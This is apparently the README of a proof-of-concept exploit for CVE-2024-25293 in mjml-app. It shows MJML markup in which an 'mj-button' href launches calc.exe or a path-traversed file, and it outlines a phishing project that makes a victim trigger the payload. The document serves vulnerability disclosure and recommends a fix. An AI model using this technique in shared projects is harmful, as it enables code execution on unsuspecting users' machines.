MJML Local Code Execution PoC

A Proof-Of-Concept for CVE-2024-25293 vulnerability.

mjml-app v3.0.4 & 3.1.0-beta was discovered to contain a remote code execution (RCE) In this repository there is an example vulnerable application and proof-of-concept (POC) exploit of it.

As a PoC there is a python file that automates the process.

1.Vunerability Overview:

• Vulnerability Subject: Local Code Execution
• Vulnerability Version: mjml-app 3.0.4-win & mjml-app 3.1.0-beta
• Attack Type: Remote Code Execution
• Attack Component: In the 'mj-button' tag within the affected source code file, the 'href' attribute enables local code execution.
• Reserved CVE Number: CVE-2024-25293

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2. Vulnerability Cause:

• mjml-app 3.0.4-win & mjml-app 3.1.0 beta suffers from Security Misconfiguration In the 'mj-button' tag, which can result in arbitrary code execution.
• Exploit explain
  • Running local files through event tags in mjml applications poses a security threat. In addition, the code can be executed by combining Path Traversal within the application, requiring a patch.

Proof-of-concept (POC)

Step 1) The attacker creates an 'mj-button' with an 'href' tag and

• case 1) Code Execution with Path Traversal (notepad.exe)
• case 2) Code Execution (calc.exe)

<mjml>
  <mj-body>
    <mj-section>
      <mj-column>
        <mj-button background-color="#f45e43" color="white" href="C:\Users\EQST\Desktop\jruru\..\jruru_hacked.txt"> jruru </mj-button>
        <mj-button background-color="#f45e43" color="white" href="C:Windows/System32/calc.exe"> Code Execution </mj-button>
      </mj-column>
    </mj-section>
  </mj-body>
</mjml>

Step 2) The attacker creates the main phishing project with the following code.

<!-- header.mjml -->
<mj-section>
  <mj-column>
    <mj-text>This is a demo jruru</mj-text>
  </mj-column>
</mj-section>
<!-- main.mjml -->
<mj-include path="./index.mjml" />

Step 3) The victim opens the shared project and clicks the button, triggering the execution of payload(etc. calc , notepad)

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3. Additional Information

Running exe files through href tags within an application is risky, and running files in combination with Path Traversal is a security concern. This allows phishing projects to be created and deployed to execute local files. Therefore, it is essential to modify this feature to prevent such execution.